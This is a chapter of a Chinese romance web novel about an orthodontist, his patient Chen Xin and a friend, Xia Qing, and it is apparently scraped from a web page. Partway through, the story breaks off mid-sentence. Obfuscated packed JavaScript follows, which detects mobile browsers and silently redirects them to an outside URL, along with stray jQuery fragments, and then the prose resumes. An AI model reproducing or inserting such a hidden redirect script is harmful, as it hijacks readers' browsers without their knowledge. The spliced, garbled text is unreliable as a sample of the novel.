20. 第 20 章

作品:《决定心动

    进入11月,T市连着下了好几场连绵细雨,还专挑上下班的点。


    清早,梁决打着伞快步迈上门诊楼的台阶,正站在房檐下抖雨伞,忽然听见有人喊他。


    “梁决哥——”


    他抬头看,来人是夏晴。


    距离两个人上次在美术馆见面有一段时间了,这期间除了通过宋老师得知夏晴加入了艺院的摘星乐团外,两个人没有单独联络,梁决不知道夏晴有没有私下和穆导师抱怨过他的“不靠谱”。


    “这么早来医院?牙齿不舒服?”


    “哦哦不是,我去学校找宋老师,路过医院在门口转悠了一会,还想着能不能碰见你,结果真让我蹲到了。”


    “这样啊……”梁决尴尬地笑了一下,把雨伞立在一边,边拍防水夹克上的雨珠,边随口问,“最近还行吧?”


    “挺好的,我现在可是乐团的重要编外人员,学院下周五要办秋季音乐会,梁决哥,你有空来听吗?”夏晴掏出手机给他看音乐会的宣传海报,“我还没来得及和舅舅说,要不你和他说一声,正好可以陪他一起来?”


    “……到时看情况吧。”梁决顿了一下,“那个……你中午有时间吗?我快到点了,要不中午去学校找你,咱们谈谈?”


    “也行,梁决哥,那中午见。”


    “中午见。”


    科室内,梁决换上白大褂后开始叫号,系统显示是一位初次就诊的女性患者。


    “请问是梁医生吗,我挂的您第一个号,刚才好像叫我了。”


    “你好,范女士是吧,坐,有什么问题?”


    “医生,我真是后悔死了!您看我前面这几颗牙,都发黑了!这还有办法矫正吗?”范女士穿着商务风的白色西装,妆容自然,看起来端庄大方,一开口却是义愤填膺。


    “范女士,你先别着急,我看一下。”梁决先安抚范女士的情绪,然后拿着口镜拉开她的唇角检查,情况确实不太乐观。


    除了个别牙齿存在龋坏和牙齿内侧的牙结石,最要命的是范女士上前牙做了六颗美容冠,美容冠的牙龈边缘已经发黑,出现牙龈红肿,现在还不确定牙冠下的牙齿有没有炎症。


    “怎么样啊,医生?我这个冠才做了没几年,当时就是图快图省事,没想到这么不顶用啊!”


    “是这样的,范女士,从正畸医生的角度,确实不建议首选美容冠,我们在临床上见过不少像您这样的患者。”梁决从电脑上找出几张教学用的示例图,“表面上看,美容冠和正畸殊途同归,但其实是南辕北辙。”


    “梁医生,这些道理我现在明白过来了,那还有办法补救吗?”


    “这样吧,您先去拍个片子,完善一些必要的检查,咱们根据实际情况再看。”梁决从电脑上开了检查,又简单询问了范女士一些基本情况,宽慰道,“您现在的情况虽然复杂,但还没到最坏的地步,我们肯定尽最大的努力提供治疗方案,先去检查吧。”


    “好好!我这就去检查,谢谢你啊,梁医生!”范女士边道谢边拿着病历和检查单,急匆匆地离开了诊室。


    每当遇到这样的病人,梁决心里都感到惋惜,人的牙齿更换后不可再生,一旦发生龋坏而磨除部分牙体是迫不得已,但为了追求快速的美观而置牙齿的功能性于不顾,把好端端的牙齿磨小做冠实在有些本末倒置。


    他作为正畸科的医生,自然对此嗤之以鼻,但站在患者的角度一想,又不是绝对的难以理解。每个人的认知和诉求不同,比起正畸客观上需要花费的时间和金钱成本,天平的左右两端,自己的牙齿健康是最容易被忽略和放弃的了。


    能唤起公众对口腔健康的重视,要比这样坐以待毙地接手一个个病例更有长远意义。


    想到这,梁决拉开抽屉,重新审视那张新媒体账号的备案登记表,一开始只是出于答应陈心的生日愿望,现在再看竟有种不同寻常的意义,他默默在心里叹了口气。


    中午的时候,梁决和夏晴约在了T大馨园食堂四楼,学生一般上来得少,主要是对外接待用,环境相对高档安静。


    两个人从窗口选好菜后,端着托盘找了个角落坐下,梁决又去要了两双一次性筷子。


    “给,先尝尝,这个百香果虾球是T大自创的菜品,还挺受欢迎的。”


    “是吗?”夏晴半信半疑地夹起一块放进嘴里,嚼了没两下,“唔……好酸啊!梁决哥,你确定不是在整我吗?”


    “这、这不会吧?”梁决连忙也夹了一块尝,脸上顿时浮现出一言难尽的表情,“可能、可能是他们换厨师了,味道没以前好了。”


    梁决本想找个话头破破冰,没想到出师不利,好在夏晴是个大大咧咧的女孩儿,现在的气氛也不尴尬。


    “对了,梁决哥,你找我想说什么?其实我大概能猜到了……”夏晴放了筷子,手撑着下巴看梁决。


    “不好意思啊,夏晴,早应该和你说句抱歉的。”梁决清了清嗓子,“认识你到现在,我能感受出来你是个活泼开朗的女孩儿,热爱艺术,懂得享受生活,但我的生活轨迹和你恰恰相反,不知道穆老师是怎么向你介绍我的,之前读书的时候泡实验室图书馆,现在就是医院和家两点一线,偶尔的放松方式就是自驾,可能在你看来多少有些无趣了。”


    “所以我也想过,或许你也只是为了配合穆老师的一番好意才勉强和我保持联络,想来想去,是我自作多情,既然这样,不如我们今天就把话说开,就当彼此重新认识一下。”


    梁决一口气说完,摊了下手,把选择权交给对面的人。他自觉理亏,没把事情处理得干脆利落,才让女孩和他一起陷入到现在的处境之中。


    “哈哈不是,你也太严肃了,梁决哥!”夏晴懵了一下,转而笑着说道,“我舅舅的想法是他的想法,我的想法是我的想法,我这么大人了,喜欢谁不喜欢谁,和谁在一起不和谁在一起,这还拎不清嘛!”


    “梁决哥,我说句玩笑话,你别生气!你看着挺优秀一个人,怎么办事这么古板啊?我理想中的另一半得是可以谈天说地,共赴诗与远方的梦想家,一辈子这么短暂,我才不要天天柴米油盐、家长里短,所以咱俩是互相没看对眼,不是你拒绝了我,也不是我拒绝了你。”


    梁决听她这么一说,紧绷的情绪缓和了大半,再细细品味最后的几句,竟觉得有些耳熟。


    “我先表个态吧,梁决哥,你是我回国后交到的第一个朋友,感谢你这一段时间的照顾,作为朋友之间的回报,邀请你来看我的演出,这不过分吧?”


    “不过分。”梁决无话可说,他发自内心地欣赏夏晴的直率和坦诚,“我会和穆老师打声招呼,你放心。”


    厘清了两个人的关系后,梁决长舒了口气,吃完午饭回医院还稍微午休了会。


    下午开诊后,范女士拿着检查报告找他看,CBCT等口腔影像数据显示美容冠下的六颗牙齿比较健康,整体的骨密度和牙周情况也达到了正畸的基本要求。


    “范女士,目前从片子上看,正畸是可以的,我们医院的流程是给患者出个详细的分析报告和矫治方案,听了方案再考虑要不要继续。”


    “真的吗,那太好了!梁医生,我什么时候能来听方案啊?明天行不?”


    “……两周内吧,你的情况也比较复杂,方案出来后我会和你联系。”梁决不放心地又补充了一句,“范女士,你的心情我能理解,但矫治讲究循序渐进,可不能再像之前那样急于求成,要不然我们做医生的也帮不了你。”


    “对对对,是这个道理,我得改改我这个急躁的毛病。”


    心急吃不了热豆腐,此刻的陈心深有体会。


    她中午从食堂买了一份红枣山药粥,只顾着狼吞虎咽,没想到红枣里的核没有去干净,“咔哒”一声,竟把后面大牙上粘的一个托槽咬掉了。


    真是怕什么来什么。


    本来她还在愁下次复诊要怎么面对梁决,万一他问起来自己期中汇报


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984611|193628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的情况怎么办?问起来整牙日记是不是能继续更新了怎么办?隔着屏幕怎么都好说,一见到真人,陈心觉得自己直接大脑停摆,什么心思都瞒不住……


    要不然就实话实说,她不更新账号是因为心里难受,账号里记录的日常总会让她想到梁决,进而想到梁决和那个叫夏晴的女孩是不是在一起了?


    伸头是一刀,缩头也是一刀。


    一整个下午,陈心的脑子里有两个小人在打架,一个鼓励她勇敢出击,一个劝她事缓则圆。


    晚上七点,T大口腔医院门前。


    陈心想明白了,还是不能拿自己的牙齿开玩笑,箍牙不是小事,网上说,掉了托槽的牙齿很容易移位反弹,一个月的坚持就白费了。当然,最直接的原因是,托槽现在在弓丝里滑来滑去,她忐忑不安得连晚饭都没有吃。


    有句老话说得好,天无绝人之路,陈心自以为聪明地想出一个折中的办法——挂口腔急诊,既能解了她的燃眉之急,又能避开和梁决的接触。


    但也有句老话这样说,人算不如天算,T大的夜间急诊由其他各科室的医生轮流值守,今天的排班表上写着梁决的名字。


    “笃、笃——”急诊室的门被敲了两下,无人应答。


    “请问,有医生在吗?”陈心探进个脑袋看,急诊室的构造和普通诊室差不多,几扇不透明的挡板划分出操作台,这会只有一个保洁阿姨在清理卫生。


    “阿姨,您知道医生去哪了吗?”陈心走进去问。


    “哎?刚才有一个留在这的,其他大夫轮换着去吃饭了,你稍微等一会,小姑娘。”保洁阿姨忙着拢手里的垃圾,也顾不上她,利索地打扫完就离开了。


    陈心和保洁阿姨说了声“谢谢”,然后在靠近门口的就诊椅坐下,想着等会怎么和医生说明自己牙齿的情况。


    “陈心?”忽然,背后响起一道熟悉的声线。


    根本来不及多想,她蹭的一下站起来,手足无措地看着梁决一步、两步、三步地朝她走来,愈加靠近的每一步都像踩在她脆弱的心脏上,怦、怦怦、怦怦……


    “那个……梁医生好,我……我托槽掉了……”陈心尴尬地愣在诊室门口。


    “进来吧。”


    “?”陈心没动,眼睁睁地看着梁决大摇大摆地进了诊室。


    “愣着干嘛?”梁决像是催促,“不是托槽掉了?”


    “是,不、不是,梁医生,你怎么在这儿啊?”


    “今天我值夜班。”


    “……”


    是福不是祸,是祸躲不过。


    等陈心完全反应过来发生了什么,梁决已经关了无影灯,让她可以坐起来了。


    梁决滑到电脑边,边敲病历边询问道:“怎么发现托槽掉的?”他要填写主诉。


    “中午吃饭,不小心硌到了。”


    “现在才来看?”


    “我……我下午有课来着!”陈心撒了个谎。


    “以后再出现这样的问题,先来挂我的号,我不在医院,就从微信联系我,不要擅自做决定。”


    “嗯。”


    “晚饭吃了吗?”


    这也是必要的问询吗?陈心眨了下眼,视线慌乱地从梁决打字的手指上移开,盯着他袖子上的一个墨水点,简直像个黑洞一般要把她吸进去。


    “吃了……”陈心撒了第二个谎。


    “好。”梁决转过身来,“之前忘了说,科室的规定是同一颗牙第一次掉托槽可以免费粘,第二次掉就要更换新的托槽,收费一百,所以吃饭的时候还是尽量小心,频繁掉托槽也会延长矫治时间。”


    “嗯,我明白了,谢谢梁医生。”陈心起身要走。


    “等等——”梁决摘了口罩,语气里有些不解,“陈心,你在躲我吗?”


    “没、没有啊……”陈心撒了第三个谎。


    *梁决内心os:怎么了,我的大小姐!


    陈心内心os:天气有雨,心情阴。